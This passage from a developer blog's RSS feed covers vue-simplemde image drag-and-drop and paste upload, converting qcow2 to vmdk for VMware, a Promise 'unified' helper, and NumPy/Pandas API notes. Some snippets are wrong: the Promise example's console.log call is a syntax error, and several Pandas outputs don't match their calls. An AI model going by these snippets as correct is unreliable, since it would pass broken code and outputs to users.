</content:encoded><category>javascript</category><category>axios</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Some thoughts on implementing image drag-and-drop and paste with vue-simplemde</title><link>https://bugs.cc/posts/simplemde-realizes-some-thoughts-on-drag-and-drop-and-paste-function/</link><guid isPermaLink="true">https://bugs.cc/posts/simplemde-realizes-some-thoughts-on-drag-and-drop-and-paste-function/</guid><description>Listen to drop and paste events to add image drag-and-drop and paste in vue-simplemde</description><pubDate>Thu, 12 Apr 2018 03:00:12 GMT</pubDate><content:encoded>&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;The project uses Vue and needed a markdown editor. I looked on npm, found &lt;a href=&quot;https://www.npmjs.com/package/simplemde&quot;&gt;simplemde&lt;/a&gt; was decent. I’m pretty lazy, so I searched npm again, found the &lt;a href=&quot;https://www.npmjs.com/package/vue-simplemde&quot;&gt;vue-simplemde&lt;/a&gt; &lt;code&gt;package&lt;/code&gt;, and started using it.&lt;/p&gt;
&lt;p&gt;But &lt;code&gt;vue-simplemde&lt;/code&gt; does not support drag-and-drop image upload or paste upload. You can’t really blame &lt;code&gt;vue-simplemde&lt;/code&gt;; it is only a Vue wrapper around &lt;code&gt;simplemde&lt;/code&gt;. So it comes down to &lt;code&gt;simplemde&lt;/code&gt; not shipping this. For UX this feature is necessary, unless you drop the markdown editor and switch to a rich-text one, in which case a lot of the project would have to change. I looked up articles and some GitHub code. Analysis below.&lt;/p&gt;
&lt;h2&gt;Drag and drop&lt;/h2&gt;
&lt;p&gt;The core of the drag-and-drop API is the &lt;code&gt;drop&lt;/code&gt; event: it fires when you drag a file from the desktop into the browser and release.&lt;/p&gt;
&lt;p&gt;We all know that if you drag an image into the browser, it just opens the image. That is the default: dragging a file into the browser opens the file. We need to block that native behavior.&lt;/p&gt;
&lt;p&gt;First, a snippet that suppresses the default:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;window.addEventListener(&quot;drop&quot;, e =&amp;gt; {
  e = e || event
  if (e.target.className === &apos;CodeMirror-scroll&apos;) { // if it enters the editor, prevent the default event
    e.preventDefault()
  }
}, false)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;CodeMirror-scroll&lt;/code&gt; is the class name of the &lt;code&gt;simplemde&lt;/code&gt; editor.&lt;/p&gt;
&lt;p&gt;Now if we drag a file onto the editor and release, nothing happens. Outside the editor, the default still fires.&lt;/p&gt;
&lt;p&gt;Next, get the &lt;code&gt;simplemde&lt;/code&gt; instance and attach a &lt;code&gt;drop&lt;/code&gt; handler.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;// assume the page has three editor windows, so we loop to bind listeners
[ this.$refs.simplemde1,
  this.$refs.simplemde2,
  this.$refs.simplemde3
].map(({simplemde}) =&amp;gt; {
  simplemde.codemirror.on(&apos;drop&apos;, (editor, e) =&amp;gt; {
    if (!(e.dataTransfer &amp;amp;&amp;amp; e.dataTransfer.files)) {
      // alert that this browser does not support this operation
      return
    }

    let dataList = e.dataTransfer.files
    let imageFiles = [] // array of file instances to upload

    // loop because several image files may be dragged at once
    for (let i = 0; i &amp;lt; dataList.length; i++) {
    // if not an image, warn that only dragging image files is supported
      if (dataList[i].type.indexOf(&apos;image&apos;) === -1) {
        // the continue below means: if the user drags 2 images and one document at once, the document is not uploaded while the images are uploaded as usual.
        continue
      }
      imageFiles.push(dataList[i])  // push the current file into the array first, then upload them all together after the for loop ends.
    }
    // uploadImagesFile is the method that uploads images
    // simplemde.codemirror is used to tell which editor the current image upload belongs to
    this.uploadImagesFile(simplemde.codemirror, imageFiles)
    // because the code below already exists, the default-event blocking code above is unnecessary
    e.preventDefault()
  })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At first glance it looks like a lot of code; that’s the comments. Here it is without comments. Read it and form your own take:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;[ this.$refs.simplemde1,
  this.$refs.simplemde2,
  this.$refs.simplemde3
].map(({simplemde}) =&amp;gt; {
  simplemde.codemirror.on(&apos;drop&apos;, (editor, e) =&amp;gt; {
    if (!(e.dataTransfer &amp;amp;&amp;amp; e.dataTransfer.files)) {
      return
    }
    let dataList = e.dataTransfer.files
    let imageFiles = []
    for (let i = 0; i &amp;lt; dataList.length; i++) {
      if (dataList[i].type.indexOf(&apos;image&apos;) === -1) {
        continue
      }
      imageFiles.push(dataList[i])
    }
    this.uploadImagesFile(simplemde.codemirror, imageFiles)
    e.preventDefault()
  })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Paste&lt;/h2&gt;
&lt;p&gt;The paste API is the &lt;code&gt;paste&lt;/code&gt; event. Unlike drop, paste does not need &lt;code&gt;preventDefault&lt;/code&gt;. If you copy an image and press &lt;code&gt;ctrl+v&lt;/code&gt; in the browser, nothing happens, so there is no need to block the default.&lt;/p&gt;
&lt;p&gt;Code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;simplemde.codemirror.on(&apos;paste&apos;, (editor, e) =&amp;gt; { // handler triggered when pasting an image
  if (!(e.clipboardData &amp;amp;&amp;amp; e.clipboardData.items)) {
    // alert that this browser does not support this operation
    return
  }
  try {
    let dataList = e.clipboardData.items
    if (dataList[0].kind === &apos;file&apos; &amp;amp;&amp;amp; dataList[0].getAsFile().type.indexOf(&apos;image&apos;) !== -1) {
      this.uploadImagesFile(simplemde.codemirror, [dataList[0].getAsFile()])
    }
  } catch (e) {
    // alert that only images can be pasted
  }
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;try...catch&lt;/code&gt; is there because if you paste a file, &lt;code&gt;items&lt;/code&gt; is empty, and the &lt;code&gt;if&lt;/code&gt; below reads &lt;code&gt;dataList[0].kind&lt;/code&gt;, i.e. &lt;code&gt;e.clipboardData.items[0].kind&lt;/code&gt;. Accessing &lt;code&gt;kind&lt;/code&gt; on a missing item throws. So we need &lt;code&gt;try...catch&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;dataList[0].getAsFile().type.indexOf(&apos;image&apos;) !== -1&lt;/code&gt; checks that what you pasted is actually an image, not something else.&lt;/p&gt;
&lt;p&gt;The upload call inside &lt;code&gt;if&lt;/code&gt; differs in &lt;code&gt;[dataList[0].getAsFile()]&lt;/code&gt;. I wrap it in &lt;code&gt;[]&lt;/code&gt; so the shape matches what &lt;code&gt;uploadImagesFile&lt;/code&gt; expects. &lt;code&gt;dataList[0].getAsFile()&lt;/code&gt; is the file instance.&lt;/p&gt;
&lt;h2&gt;Upload&lt;/h2&gt;
&lt;p&gt;Upload is a bit more of a hassle:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;uploadImagesFile (simplemde, files) {
  // wrap each file instance with FormData and return an array
  let params = files.map(file =&amp;gt; {
    let param = new FormData()
    param.append(&apos;file&apos;, file, file.name)
    return param
  })

  let makeRequest = params =&amp;gt; {
    return this.$http.post(&apos;/Api/upload&apos;, params)
  }
  let requests = params.map(makeRequest)

  this.$http.spread = callback =&amp;gt; {
    return arr =&amp;gt; {
      return callback.apply(null, arr)
    }
  }

  // the server returns the format {state: Boolean, data: String}
  // when state is false, data is the returned error message
  // when state is true, data is the uploaded image&apos;s url, an absolute path relative to the site, like below:
  // /static/upload/2cfd6a50-3d30-11e8-b351-0d25ce9162a3.png
  Promise.all(requests)
    .then(this.$http.spread((...resps) =&amp;gt; {
      for (let i = 0; i &amp;lt; resps.length; i++) {
        let {state, data} = resps[i].data
        if (!state) {
          // alert showing the error message in data
          continue
        }
        let url = `![](${location.origin + data})`  // assemble into markdown syntax
        let content = simplemde.getValue()
        simplemde.setValue(content + url + &apos;\n&apos;)  // concatenate with the editor&apos;s existing content
      }
    }))
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I wrapped &lt;code&gt;axios&lt;/code&gt; as a Vue plugin, so &lt;code&gt;this.$http&lt;/code&gt; is the instance, not axios itself.
The axios maintainers’ fix is to import the &lt;code&gt;axios&lt;/code&gt; package again. I don’t think that is needed. Internally &lt;code&gt;axios.all&lt;/code&gt; is &lt;code&gt;Promise.all&lt;/code&gt;. &lt;code&gt;axios.spread&lt;/code&gt; is small, so I copied it and assigned it back onto &lt;code&gt;axios&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So the snippet above is&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;Promise.all(requests)
  .then(this.$http.spread((...resps) =&amp;gt; {
    // code
  })
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which is equivalent to&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;axios.all(requests)
  .then(axios.spread((...resps) =&amp;gt; {
    // code
  })
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For this, see the official thread: &lt;a href=&quot;https://forum.vuejs.org/t/axios-all-is-not-a-function-inside-vue-component/15601&quot;&gt;axios-all-is-not-a-function-inside-vue-component&lt;/a&gt;. You can also look at the &lt;code&gt;axios&lt;/code&gt; source: &lt;a href=&quot;https://github.com/axios/axios/blob/master/lib/axios.js#L45-L48&quot;&gt;axios.js#L45-L48&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I won’t go further on this. Back to the topic.&lt;/p&gt;
&lt;p&gt;When &lt;code&gt;state&lt;/code&gt; is true, &lt;code&gt;data&lt;/code&gt; is an absolute path on the site, e.g. &lt;code&gt;/static/upload/2cfd6a50-3d30-11e8-b351-0d25ce9162a3.png&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;We need to concatenate, hence &lt;code&gt;![](${location.origin + data})&lt;/code&gt;. The last two lines get the previous content and append the url.&lt;/p&gt;
&lt;h2&gt;Wrap-up&lt;/h2&gt;
&lt;p&gt;Here is the final result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/simplemde-realizes-some-thoughts-on-drag-and-drop-and-paste-function/drag-paste-upload.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Full code: &lt;a href=&quot;https://github.com/BlackHole1/Koler/blob/8e4677897fa7eb7545f3d269642e9ab6f5f44b5e/src/components/Subject/Subject.vue#L378-L465&quot;&gt;Subject.vue#L378-L465&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;References &amp;amp;&amp;amp; thanks&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/skecozo/laravel-demo/blob/c18efbffaaef59ded6180c0201de2bad0e248c4c/resources/assets/js/lib/simplemde.js&quot;&gt;code from skecozo’s laravel-demo&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.it9g.com/post/simplemde-to-achieve-drag-and-drop,-paste-pictures-upload&quot;&gt;Lemon’s article “Implementing drag-and-drop and paste image upload in simplemde”&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.npmjs.com/package/vue-simplemde&quot;&gt;f-loat’s vue-simplemde package&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.npmjs.com/package/simplemde&quot;&gt;wescossick’s simplemde package&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>javascript</category><category>vue</category><category>markdown</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Run a qcow2 image in VMware</title><link>https://bugs.cc/posts/run-qcow2-image-in-vmware/</link><guid isPermaLink="true">https://bugs.cc/posts/run-qcow2-image-in-vmware/</guid><description>Convert qcow2 to vmdk with qemu-img</description><pubDate>Tue, 23 Jan 2018 01:12:31 GMT</pubDate><content:encoded>&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;For some reason I needed to run a qcow2 image on my laptop. Standing up an OpenStack platform was out of the question; the hardware could not take it. I wanted to see if I could just run the qcow2 image in VMware. Everything online said to convert it with &lt;code&gt;qemu-img&lt;/code&gt;, and then the write-ups just stopped. So I poked at it myself and wrote the process down.&lt;/p&gt;
&lt;h2&gt;Preparation&lt;/h2&gt;
&lt;p&gt;First download &lt;code&gt;qemu-img&lt;/code&gt;. I was on 64-bit Windows, so I grabbed the &lt;a href=&quot;https://qemu.weilnetz.de/w64/&quot;&gt;win64 build&lt;/a&gt;. After it is installed, add the install directory to &lt;code&gt;PATH&lt;/code&gt; so the rest is easier.&lt;/p&gt;
&lt;p&gt;I will skip VMware itself and the original qcow2 image. You need both.&lt;/p&gt;
&lt;h2&gt;Steps&lt;/h2&gt;
&lt;p&gt;First convert the qcow2 image to vmdk with &lt;code&gt;qemu-img&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;$ qemu-img convert -f qcow2 CentOS_7.2_x86_64_XD.qcow2 -O vmdk Centos.vmdk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You will get a Centos.vmdk image in the current directory, but you cannot import it: there is no vmx file. Dropping it into VMware throws an error.&lt;/p&gt;
&lt;p&gt;So create an empty VM in VMware first. Pick the guest OS from your qcow2; mine was CentOS 7, so I chose CentOS 7 64-bit.&lt;/p&gt;
&lt;p&gt;Once that is created, go into that VM’s folder under &lt;code&gt;Virtual Machines&lt;/code&gt;, delete the vmdk, and replace it with the file you converted with &lt;code&gt;qemu-img&lt;/code&gt;. Start VMware and it should work.&lt;/p&gt;
&lt;p&gt;Here is a demo:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=GE1dkDgRSPA&quot;&gt;YouTube: https://www.youtube.com/watch?v=GE1dkDgRSPA&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>virtualization</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Add a unified operation extension to Promise</title><link>https://bugs.cc/posts/add-unified-operation-extensions-to-promise/</link><guid isPermaLink="true">https://bugs.cc/posts/add-unified-operation-extensions-to-promise/</guid><description>Add a callback that always runs, success or failure, and knows the previous state</description><pubDate>Sat, 06 Jan 2018 09:34:21 GMT</pubDate><content:encoded>&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;ES6 added &lt;code&gt;Promise&lt;/code&gt;. A Promise only has two callback methods: &lt;code&gt;then&lt;/code&gt; and &lt;code&gt;catch&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Later, Promise also got two extra methods. You have to attach them yourself, of course.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;One is &lt;code&gt;done&lt;/code&gt;: &lt;a href=&quot;http://es6.ruanyifeng.com/#docs/promise#done&quot;&gt;http://es6.ruanyifeng.com/#docs/promise#done&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;One is &lt;code&gt;finally&lt;/code&gt;: &lt;a href=&quot;http://es6.ruanyifeng.com/#docs/promise#finally&quot;&gt;http://es6.ruanyifeng.com/#docs/promise#finally&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Follow the links above if you want the background, or look at the official source for how they are implemented: &lt;a href=&quot;https://github.com/then/promise/blob/master/src/done.js&quot;&gt;done&lt;/a&gt; and &lt;a href=&quot;https://github.com/then/promise/blob/master/src/finally.js&quot;&gt;finally&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;The unified method&lt;/h2&gt;
&lt;p&gt;There is still no unified handler for &lt;code&gt;then&lt;/code&gt; and &lt;code&gt;catch&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If the last-step logic in &lt;code&gt;then&lt;/code&gt; and &lt;code&gt;catch&lt;/code&gt; is basically the same, you end up writing it twice.&lt;/p&gt;
&lt;p&gt;You can pull the shared logic into a function, but that still looks a bit awkward. It would be nicer to have one callback that handles both &lt;code&gt;resolve&lt;/code&gt; and &lt;code&gt;reject&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We can add a method on &lt;code&gt;Promise.prototype&lt;/code&gt;. That method catches &lt;code&gt;resolve&lt;/code&gt; and &lt;code&gt;reject&lt;/code&gt;, then hands them to a callback. The code is simple:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;Promise.prototype.unified = function (callback) {
  this.then(
    data =&amp;gt; callback(true, data),
    data =&amp;gt; callback(false, data)
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Usage is straightforward. First, a Promise without the unified handler:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;let promise = new Promise(function(resolve, reject) {
  if (false){
    setTimeout(() =&amp;gt; resolve(&apos;success&apos;), 1000)
  } else {
    setTimeout(() =&amp;gt; reject(&apos;error&apos;), 1000)
  }
})

promise
  .then((data) =&amp;gt; {
    console.log(
      state: true,
      data: data,
      msg: &apos;operation successful&apos;
    )
  })
  .catch((data) =&amp;gt; {
    console.log(
      state: false,
      data: data,
      msg: &apos;operation failed&apos;
    )
  })
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now the same thing with &lt;code&gt;unified&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;let promise = new Promise(function(resolve, reject) {
  if (false){
    setTimeout(() =&amp;gt; resolve(&apos;success&apos;), 1000)
  } else {
    setTimeout(() =&amp;gt; reject(&apos;error&apos;), 1000)
  }
})

promise.unified((state, data) =&amp;gt; {
  const msg = state ? &apos;operation successful&apos; : &apos;operation failed&apos;
  console.log(
    state,
    data,
    msg
  )
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A lot more convenient, right? That said, this couples the code. Use it carefully or later maintenance will hurt.&lt;/p&gt;
</content:encoded><category>javascript</category><category>promise</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Some NumPy, Pandas, and Matplotlib APIs</title><link>https://bugs.cc/posts/numpy-pandas-matplotlib-some-api/</link><guid isPermaLink="true">https://bugs.cc/posts/numpy-pandas-matplotlib-some-api/</guid><description>Notes on some NumPy, Pandas, and Matplotlib APIs</description><pubDate>Sun, 12 Nov 2017 13:04:48 GMT</pubDate><content:encoded>&lt;h2&gt;NumPy&lt;/h2&gt;
&lt;h3&gt;Import&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;import numpy as np&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;API&lt;/h3&gt;
&lt;h4&gt;Create array&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;np.array([10, 11, 12, 13])
# [10 11 12 13]


np.array([10, 11, 12, 13, 14 ,15]).reshape([2,3])
# [
#   [10 11 12]
#   [13 14 15]
# ]


np.array([[1, 2], [3, 4]])
# [
#   [1 2]
#   [3 4]
# ]


np.arange(4)
# [0 1 2 3]


np.arange(2, 6)
# [2 3 4 5]


np.arange(4).reshape([2,2])
# [
#   [0 1]
#   [2 3]
# ]


np.random.random([2,3])
# [
#   [ 0.00136044  0.46854718  0.59149907]
#   [ 0.75636339  0.18204628  0.53191402]
# ]
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Calculation&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;arr = np.array([10, 11, 12, 13, 14 ,15]).reshape([2,3])
# [
#   [10 11 12]
#   [13 14 15]
# ]


# sum
np.sum(arr, axis=0)
# [23 25 27]
np.sum(arr, axis=1)
# [33 42]


# minimum
np.min(arr, axis=0)
# [10 11 12]
np.min(arr, axis=1)
# [10 13]


# maximum
np.max(arr, axis=0)
# [13 14 15]
np.max(arr, axis=1)
# [12 15]


# index of the max/min value
np.argmin(arr)
# 0 (0 is the index)
np.argmax(arr)
# 5 (5 is the index)


# mean
arr.mean()
# np.mean(arr)
# 12.5
np.average(arr)
# 12.5


# cumulative sum
np.cumsum(arr)
# [10 21 33 46 60 75]


# differences between adjacent elements
np.diff(arr)
# [
#   [1 1]
#   [1 1]
# ]

# replace
np.clip(arr, 11, 14)
# [
#   [11 11 12]
#    [13 14 14]
# ]
# numbers below 11 become 11, numbers above 14 become 14, the rest stay unchanged
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Indexing&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;arr = np.arange(3, 15).reshape([3,4])
# [
#   [ 3  4  5  6]
#   [ 7  8  9 10]
#   [11 12 13 14]
# ]

arr[1, 1]
# arr[1][1]
# 8

arr[:, 1]
# [ 4 8 12]

arr[1, :]
# [ 7 8 9 10]

arr[1, 1:3]
# [8 9]

arr.flatten()
# [ 3  4  5  6  7  8  9 10 11 12 13 14]

for i in arr.flat:
  print(i)
# prints each value. arr.flat is an iterator
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Merge&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;A = np.array([1, 1, 1])
B = np.array([2, 2, 2])

np.vstack((A, B))
# [
#   [1 1 1]
#   [2 2 2]
# ]
np.hstack((A, B))
# [1 1 1 2 2 2]
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Split&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;arr = np.arange(12).reshape([3,4])
# [
#   [ 0  1  2  3]
#   [ 4  5  6  7]
#   [ 8  9 10 11]
# ]

np.split(arr, 2, axis=1)
# [array([
#   [0, 1],
#   [4, 5],
#   [8, 9]
# ]),
# array([
#   [ 2,  3],
#   [ 6,  7],
#   [10, 11]]
# )]
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;Pandas&lt;/h2&gt;
&lt;h3&gt;Import&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;import pandas as pd&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;API&lt;/h3&gt;
&lt;h4&gt;Create a DataFrame&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;pd.Series([1, 3, 6, np.nan, 44, 1])
# 0     1.0
# 1     3.0
# 2     6.0
# 3     NaN
# 4    44.0
# 5     1.0
# dtype: float64


pd.date_range(&apos;20171108&apos;, periods=6)
# DatetimeIndex(
#   [&apos;2017-11-08&apos;, &apos;2017-11-09&apos;, &apos;2017-11-10&apos;, &apos;2017-11-11&apos;,&apos;2017-11-12&apos;, &apos;2017-11-13&apos;],
#   dtype=&apos;datetime64[ns]&apos;,
#   freq=&apos;D&apos;
# )


dates = pd.date_range(&apos;20171108&apos;, periods=6)
pd.DataFrame(np.random.randn(6, 4), index=dates, columns=[&apos;a&apos;, &apos;b&apos;, &apos;c&apos;, &apos;d&apos;])
#                    a         b         c         d
# 2017-11-08  0.644350  1.122020 -1.263401  0.163371
# 2017-11-09  0.573329 -0.242054 -0.342220  1.070905
# 2017-11-10  0.714291 -0.721509 -2.298672 -0.513572
# 2017-11-11 -0.614927  2.010482 -1.369179 -0.901276
# 2017-11-12  0.709672 -0.430620  1.070244 -2.308874
# 2017-11-13  1.284080  1.169807  1.668942  0.859300


pd.DataFrame({
  &apos;A&apos;: 1.,
  &apos;B&apos;: pd.Timestamp(&apos;20171108&apos;),
  &apos;C&apos;: pd.Series(1, index=list(range(4)), dtype=&apos;float32&apos;),
  &apos;D&apos;: np.array([3] * 4, dtype=&apos;int32&apos;),
  &apos;E&apos;: pd.Categorical([&apos;test&apos;, &apos;train&apos;, &apos;test&apos;, &apos;train&apos;]),
  &apos;F&apos;: &apos;foo&apos;
})
#      A          B    C  D      E    F
# 0  1.0 2017-11-08  1.0  3   test  foo
# 1  1.0 2017-11-08  1.0  3  train  foo
# 2  1.0 2017-11-08  1.0  3   test  foo
# 3  1.0 2017-11-08  1.0  3  train  foo
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Selection&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;datas = pd.DataFrame({
  &apos;A&apos;: 1.,
  &apos;B&apos;: pd.Timestamp(&apos;20171108&apos;),
  &apos;C&apos;: pd.Series(1, index=list(range(4)), dtype=&apos;float32&apos;),
  &apos;D&apos;: np.array([3] * 4, dtype=&apos;int32&apos;),
  &apos;E&apos;: pd.Categorical([&apos;test&apos;, &apos;train&apos;, &apos;test&apos;, &apos;train&apos;]),
  &apos;F&apos;: &apos;foo&apos;
})
#     A          B    C  D      E    F
# 0  1.0 2017-11-08  1.0  3   test  foo
# 1  1.0 2017-11-08  1.0  3  train  foo
# 2  1.0 2017-11-08  1.0  3   test  foo
# 3  1.0 2017-11-08  1.0  3  train  foo

datas.A
# datas[&apos;A&apos;]
# 0    1.0
# 1    1.0
# 2    1.0
# 3    1.0
# Name: A, dtype: float64

datas[0:3]
#      A          B    C  D      E    F
# 0  1.0 2017-11-08  1.0  3   test  foo
# 1  1.0 2017-11-08  1.0  3  train  foo
# 2  1.0 2017-11-08  1.0  3   test  foo

datas.loc[0]
# when the index is something like &apos;2017-11-8&apos;, use datas.loc[&apos;20171108&apos;]
# A                      1
# B    2017-11-08 00:00:00
# C                      1
# D                      3
# E                   test
# F                    foo
# Name: 0, dtype: object

datas.loc[:,[&apos;A&apos;, &apos;B&apos;]]
#      A          B
# 0  1.0 2017-11-08
# 1  1.0 2017-11-08
# 2  1.0 2017-11-08
# 3  1.0 2017-11-08

datas.loc[[1, 3],[&apos;A&apos;, &apos;B&apos;]]
#      A          B
# 1  1.0 2017-11-08
# 3  1.0 2017-11-08

# icol selects by row number, col selects by index, ix is a mix of the two (either works)
# icol[1]
# ix[1]
# when the index is 2017-11-08, use ix[&apos;20171108&apos;]

datas[datas.E == &apos;test&apos;]
#               A          B    C  D     E    F
# 2017-11-08  1.0 2017-11-08  1.0  3  test  foo
# 2017-11-10  1.0 2017-11-08  1.0  3  test  foo

datas.index
# Int64Index([0, 1, 2, 3], dtype=&apos;int64&apos;)

datas.columns
# Index([u&apos;A&apos;, u&apos;B&apos;, u&apos;C&apos;, u&apos;D&apos;, u&apos;E&apos;, u&apos;F&apos;], dtype=&apos;object&apos;)

datas.values
# array(
# [
#   [1.0, Timestamp(&apos;2017-11-08 00:00:00&apos;), 1.0, 3, &apos;test&apos;, &apos;foo&apos;],
#   [1.0, Timestamp(&apos;2017-11-08 00:00:00&apos;), 1.0, 3, &apos;train&apos;, &apos;foo&apos;],
#   [1.0, Timestamp(&apos;2017-11-08 00:00:00&apos;), 1.0, 3, &apos;test&apos;, &apos;foo&apos;],
#   [1.0, Timestamp(&apos;2017-11-08 00:00:00&apos;), 1.0, 3, &apos;train&apos;, &apos;foo&apos;]
# ],
# dtype=object)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Sorting&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;datas.sort_index(axis=0, ascending=False)
#      F      E  D    C          B    A
# 0  foo   test  3  1.0 2017-11-08  1.0
# 1  foo  train  3  1.0 2017-11-08  1.0
# 2  foo   test  3  1.0 2017-11-08  1.0
# 3  foo  train  3  1.0 2017-11-08  1.0

datas.sort_index(axis=0, ascending=False)
#      A          B    C  D      E    F
# 3  1.0 2017-11-08  1.0  3  train  foo
# 2  1.0 2017-11-08  1.0  3   test  foo
# 1  1.0 2017-11-08  1.0  3  train  foo
# 0  1.0 2017-11-08  1.0  3   test  foo

datas.sort_values(by=&apos;E&apos;)
#      A          B    C  D      E    F
# 0  1.0 2017-11-08  1.0  3   test  foo
# 2  1.0 2017-11-08  1.0  3   test  foo
# 1  1.0 2017-11-08  1.0  3  train  foo
# 3  1.0 2017-11-08  1.0  3  train  foo
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Set values&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;datas = pd.DataFrame({
  &apos;A&apos;: pd.Series([1, 5, &apos;test&apos;, &apos;foo&apos;], index=list(range(4))),
  &apos;B&apos;: pd.Series([np.nan, 1, np.nan, &apos;test&apos;], index=list(range(4))),
  &apos;C&apos;: pd.Series(1, index=list(range(4)), dtype=&apos;float32&apos;),
})
#       A     B    C
# 0     1   NaN  1.0
# 1     5     1  1.0
# 2  test   NaN  1.0
# 3   foo  test  1.0

datas.dropna(axis=0, how=&apos;any&apos;)
# when axis is 1, it checks the vertical direction for NaN values instead
# how = &apos;any&apos; || &apos;all&apos;, the default is any
# with any, a row is dropped if it contains a single NaN.
# with all, a row is dropped only when every value in it is NaN
#      A     B    C
# 1    5     1  1.0
# 3  foo  test  1.0

datas.fillna(value=0)
#       A     B    C
# 0     1     0  1.0
# 1     5     1  1.0
# 2  test     0  1.0
# 3   foo  test  1.0

datas.isnull()
#        A      B      C
# 0  False   True  False
# 1  False  False  False
# 2  False   True  False
# 3  False  False  False

# when the data is very large, or you only want to know whether any value is NaN
# np.any(datas.isnull()) == True
#   returns True when any value is NaN
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Import and export&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;pd.read_csv(&apos;***.csv&apos;,delimiter=&apos;,&apos;,encoding=&apos;utf-8&apos;,names=[&apos;test1&apos;,&apos;test2&apos;,&apos;test3&apos;])
# arg 1: the target file to read
# arg 2: the delimiter of the csv file
# arg 3: the encoding
# arg 4: the column names

#           test1     test2          test3
# 0    2017-11-18       ABC        51315.0
# 1    2017-11-19       DEF         5659.0
# 2    2017-11-20       GHI         1599.0
# 3    2017-11-21       JKL         2224.0

datas.to_csv(&apos;**.csv&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/numpy-pandas-mateplotilb-some-api/csv-export-excel.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;Merge&lt;/h4&gt;
&lt;h5&gt;concat&lt;/h5&gt;
